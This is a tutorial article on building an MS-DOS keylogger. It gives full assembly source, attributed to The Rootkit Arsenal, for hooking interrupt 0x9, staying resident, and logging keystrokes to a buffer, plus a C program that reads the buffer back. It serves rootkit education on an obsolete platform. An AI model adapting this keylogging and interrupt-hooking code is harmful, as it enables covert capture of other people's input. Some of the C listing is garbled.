In the previous article, we described the process of how to hook the 0x9 interrupt and log the keystrokes in detail. But let’s take a look at the picture below that demonstrates what we’re actually doing (hopefully the picture should be a clear understanding of the concept):
On the picture above, we’re starting with the _install function and then executing the stages 1, 2, 3, 4. Whenever a key is pressed, the 9th ISR will be called, which means that the code of the _hookBIOS function will be executed. Also, the _oldISR contains the old 0x9h ISR pointer, while the _chkISR holds the 0x16h old ISR pointer. In addition, the ISR of the 0xBBh element points to the _getBufferAddr function. Let’s now present the _hookBIOS code that is called whenever a key is pressed on the keyboard. The code can be seen below: [plain] _hookBIOS: PUSH BX PUSH AX PUSHF CALL CS :_oldISR MOV AH,01H PUSHF CALL CS:_chkISR CLI PUSH DS PUSH CS POP DS jz _hb_Exit LEA BX,_buffer PUSH SI MOV SI, WORD PTR [_index] MOV BYTE PTR [BX+SI],AL INC SI MOV WORD PTR [_index], SI POP SI _hb_Exit: POP DS POP AX POP BX STI IRET [/plain] In the code above, we’re first storing the values of registers BX and AX, which are later reviewed when exiting the function. We’re also pushing the EFLAGS register onto the stack with the PUSHF instruction. After that, we’re executing the function that is located at the _oldISR location. Remember that we used this variable to store the old ISR pointer of the 0x9th vector to it.Thatmeans that we’re calling the old interrupt service routine that was supposed to be called when the key on the keyboard was pressed if we hadn’t have hooked it. Next, we’re calling the _chkISR that correlates to the ISR pointer of the 0x16th vector, which is used to check if a new character has been put in the system’s buffer. Then we’re using the CLI instruction to clear the Interrupt Flag (IF flag) in the EFLAGS register and storing some register values on the stack. The instruction “jz _hb_Exit” checks whether there’s some key in the system’s buffer. If it isn’t, the jump is taken and we’re terminating the function by restoring the register values, re-enabling the Interrupt Flag IF and returning to the calling function. But if there is a key in the system’s buffer, we’re continuing with the “LEA BX,_buffer” instruction. At that point we’re storing the pointer to variable _buffer into register BX as a base pointer for the array and the _index variable as an index into the array. Whenever there’s a key to be saved, it is saved in the appropriate array element (denoted by the _index variable) and the _index variable is also increased by 1. This effectively saves the pressed keys to the memory array located at the _buffer variable, increasing the index into the array by one each key press. The _hookBIOS function thus effectively calls the 0x9th and 0x16th ISR routine as well as saves the pressed key to the _buffer memory region. But this still isn’t the end of the story: so far the _hookBIOS function is being called when we press a key on the keyboard, which in turn calls the interrupt service routines that would have normally been called. The problem is that when the program terminates, it will be wiped from the memory. Since the IVT table would be changed to point to the functions that have been removed from memory, the interrupt service routines actually point at an invalid memory location, so the MSDOS will probably crash. This is why we must still implement the TSR routine that will instruct the MSDOS to keep the program in memory even after it terminates. These instructions can be seen right after the function call to the _install function and are presented below: [plain] MOV AH,31H MOV AL,0H MOV DX,200H INT 21H pop BP RET [/plain] We can immediately see that we’re using the “int 21h” instruction, which can be used to achieve that the program isn’t removed from the memory after termination. This is also the end of the program. But there is something missing, isn’t there? Yes there is; we’ve completely forget about the _getBufferAddr, which is the interrupt service routine of the 0xBB vector that we’ve also overwritten. This isn’t actually used anywhere in the program, it just defines that whenever 0xBB interrupt is invoked, the _getBufferAddr function should be called. Let’s also present that function: [plain] _getBufferAddr: STI MOV DX,CS LEA DI,_buffer IRET [/plain] The STI instruction sets the Interrupt Flag IF in the EFLAGS register, which means that the breakpoints can be set and program interrupt service routine debugged. The rest of the instructions basically get the address of the _buffer array in memory and return its address. This makes sense, since when the interrupt 0xBB is invoked, we will get the pointer to the _buffer address that contains all the pressed keys so far. We’ve just come at the end of the assembly routine and it’s time to test if it actually works. Let’s compile the program with Watcom, copy it to the .iso image and load it into the MSDOS environment. But before running the program, let’s inspect the current IVT table. If we dump the beginning of the interrupt vector table, we’ll see something like this. The important entries are 0x9 and 0x16, which currently hold the values 0C69:0028 and 0070:042D.
Let’s also examine the 0xBB interrupt vector, which is important because we’ll be using it to get the address of the stored keystrokes in memory.
The interrupt vector 187 is currently not being used because it contains the values 0000:0000, as we can see on the picture above. After running the program and dumping the IVT table again, we’ll be presented with the following modified vectors in the IVT table:
Notice that the interrupt vector 0x9 contains the values 190A:0319 instead of 0C69:0028? The address 190A:0319 now points to the _hookBIOS function, while the address 0C69:0028 points to the _oldISR. The vector 0x16 is the same it was before since we didn’t change it; we just copied it to another variable so we could use it later in the program (as we already described). Also notice that the 0xBBth module is now initialized with the address 0x190A:0311, which is real close to the address of _hookBIOS function. This makes sense, since the _getBufferAddr and _hookBIOS functions are right next to each other in the assembly code. Let’s now present the whole code of the program for full reference: keep in mind that this program was not written by me, but by Bill Blunden in the Rootkit’s Arsenal [2]: [plain] CSEG SEGMENT BYTE PUBLIC ‘CODE’ ASSUME CS:CSEG, DS:CSEG, SS:CSEG ORG 100H ; This label defines the starting point _here: JMP _main ; global data JMP _overData _buffer DB 512 DUP(‘W’) _terminator DB ‘Z’ _index DW 0H _oldISR DD 0H _chkISR DD 0H _overData : ; ISR to return address of buffer _getBufferAddr: STI MOV DX,CS LEA DI,_buffer IRET ; ISR to hook BIOS int 0x9 _hookBIOS: PUSH BX PUSH AX PUSHF CALL CS :_oldISR MOV AH,01H PUSHF CALL CS:_chkISR CLI PUSH DS PUSH CS POP DS jz _hb_Exit LEA BX,_buffer PUSH SI MOV SI, WORD PTR [_index] MOV BYTE PTR [BX+SI],AL INC SI MOV WORD PTR [_index], SI POP SI _hb_Exit: POP DS POP AX POP BX STI IRET _install: LEA DX,_getBufferAddr ; set up first ISR (Vector 187 = eXBB) MOV CX,CS MOV DS,CX MOV AH,25H MOV AL,187 INT 21H ; get address of existing BIOS 0x9 interrupt MOV AH,35H MOV AL,09H INT 21H MOV WORD PTR _oldISR[0],BX MOV WORD PTR _oldISR[2],ES ; get address of existing BIOS 0x16 interrupt MOV AH,35H MOV AL,16H INT 21H MOV WORD PTR _chkISR[0],BX MOV WORD PTR _chkISR[2],ES ; set up BIOS ISR hook LEA DX,_hookBIOS MOV CX,CS MOV DS,CX MOV AH,25H MOV AL,09H INT 21H RET PUBLIC _main _main: PUSH BP MOV BP,SP MOV AX,CS MOV SS,AX LEA AX, _localStk ADD AX,100H MOV SP,AX CALL NEAR PTR _install MOV AH,31H MOV AL,0H MOV DX,200H INT 21H pop BP RET ; stack for .COM program PUBLIC _localStk _localStk DB 256 DUP(‘A’) CSEG ENDS END _here [/plain] Reading the Keystrokes from the Buffer We’ve seen how the interrupt 0x9 is hooked to log the keystrokes to the buffer stored in the global memory. Now, while the hook program is running, we must read the contents of that buffer and print them to the screen. Let’s present the whole program first: keep in mind that I’ve only included the relevant code from the [2] to make the program much smaller and easier to understand: [plain] #include <stdio.h> #include <stdlib.h> #define WORD unsigned short #define BYTE unsigned char voidprintBuffer(char* cptr, int size) { intnColumns ; //formats the output to NCOLS columns intnPrinted; //tracks number of alphanumeric bytes inti; nColumns=0 ; nPrinted=0 ; for(i=0; i<size; i++) { if((cptr[i]>=0x20)&&(cptr[i]<=0x7E)) { printf("%c", cptr[i]); nPrinted++; } else { printf(""); } nColumns++; if(nColumns==16) { printf(“n”) ; nColumns=0; } } printf(“nPrinted %d of %d totaln”,nPrinted, size); return; } void main() { WORD bufferCS; WORD bufferIP; BYTE crtIO[513]; WORD index; WORD value; / Get the address of the buffer / __asm { PUSH DX PUSH DI INT 0xBB MOV bufferCS, DX MOV bufferIP, DI POP DI POP DX } / Read all the characters from the buffer and print them on the screen */ for( index=0; index<513; index++) { _asm { PUSH ES PUSH BX PUSH SI MOV ES, bufferCS MOV BX, bufferIP MOV SI,index ADD BX,SI PUSH DS MOV CX,ES MOV DS,CX MOV SI,DS:[BX] POP DS MOV value,SI POP SI POP BX POP ES } crtIO[index]=(char)value; } printBuffer(crtIO, 100); return; } [/plain] The program is self-explanatory, which is why we won’t go into detail. Let’s just say that at the end of the program, we’re using the printBuffer method to print the contents of the global memory where the keys have been logged to, to the stdout.However, we’re printing just the first 100 bytes of that memory, so we’ll be able to observe the starting point of the memory: the first commands we’ll be entering after hooking the keystroke interrupt 0x9. We can also see the purpose of the 0xBB interrupt that we used in the hooking program: it is used in the current program to get the address of the buffer in a memory, so we can read the contents from it and write it to stdout. Now we can compile the program with Watcom as a 16-bit binary, create a new iso with mkisofswhile including the just compiled binary to the iso and booting the MSDOS with that iso as a Floppy Device. After that, the contents of the iso will be available under the C: drive. To test the program above, we’ll now be running the following commands in the MSDOS environment: [plain] C:> asr.exe C:>mem /d C:> hooktsr.exe [/plain] The first command installs our hook into the MSDOS environment, so every keystroke will be logged to the global memory. After the program will be terminated, its memory will not be freed, because we’re using TSR (Terminate and Stay Resident), which keeps the program’s memory intact even after termination. Then we’re running the “mem /d /p” command to display all the memory in the MSDOS environment. At last, we’re running our hooktsr.exe program that displays the contents of the global memory where the keystrokes have been logged. The result can be seen on the picture below:
Notice that the global memory contains the exact contents of the keystrokes that we’ve pressed after running asr.exe? First, we ran the “mem.exe /d” command, which is followed by the ‘’ that presents the keystroke ‘Enter’. Enter is being presented in such a way, because it cannot be presented in default ASCII character set: only the ASCII characters are printed to the stdout, others are presented with the ‘’ character. After that, we’ve also run the “hooktsr.exe” command again followed by the ‘Enter’key. Conclusion We’ve seen how we can intercept all the keystrokes from the MSDOS environment by hooking the interrupt 0x9 vector. After hooking that interrupt, we were able to copy all the pressed keystrokes to the global memory and later print them to the stdout with another program that only reads the contents from the memory. With this, we’re able to completely change the whole MSDOS environment as we wish. This is possible because there are no protection mechanisms in place to prevent us from changing the operating system’s concepts and code. References: [1]: Terminate and Stay Resident, accessible at http://en.wikipedia.org/wiki/Terminate_and_Stay_Resident. [2]: Bill Blunder, The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System. /p